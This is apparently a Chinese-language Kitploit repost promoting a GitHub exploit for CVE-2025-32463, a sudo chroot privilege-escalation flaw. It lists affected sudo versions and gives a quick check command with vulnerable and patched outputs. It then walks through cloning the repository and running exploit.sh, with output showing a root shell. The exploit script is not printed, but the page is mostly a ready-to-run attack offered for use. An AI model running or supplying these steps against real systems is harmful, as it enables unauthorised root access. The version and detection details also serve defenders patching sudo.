CVE-2025-32463 — 这是CVE-2025-32463的漏洞利用程序。 | Kitploit

CVE-2025-32463 漏洞利用

这是 CVE-2025-32463 的漏洞利用程序

感谢 Rich Mirch（X 平台上的 @0xm1rch）@ Stratascale 报告了这一惊人的漏洞。
原始文章：漏洞公告：sudo chroot 权限提升
NVD：CVE-2025-32463（CVSS 9.3）

受影响版本

大多数 Linux 发行版上，sudo 1.9.14 到 1.9.17（所有 p-修订版）的易受攻击版本均受影响。

安全页面

快速漏洞检查

# 存在漏洞的 sudo 会显示如下信息
kairaj5456 ~ $ sudo -R fake_root fake_root
sudo: fake_root: No such file or directory

# 已修补的 sudo 会显示如下信息
kairaj5456 ~ $ sudo -R fake_root fake_root
[sudo] password for kairaj5456:
sudo: you are not permitted to use the -R option with fake_root

测试漏洞利用

$ git clone https://github.com/Rajneeshkarya/CVE-2025-32463.git

$ cd CVE-2025-32463

$ chmod +x exploit.sh

$ ./exploit.sh

[+] 正在通过 sudo 发起漏洞利用...

# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),117(bluetooth),121(wireshark),129(scanner),136(kaboxer),1000(kairaj5456)

理解该漏洞

请查看 Rich Mirch 发布的原始博客文章 - 点击此处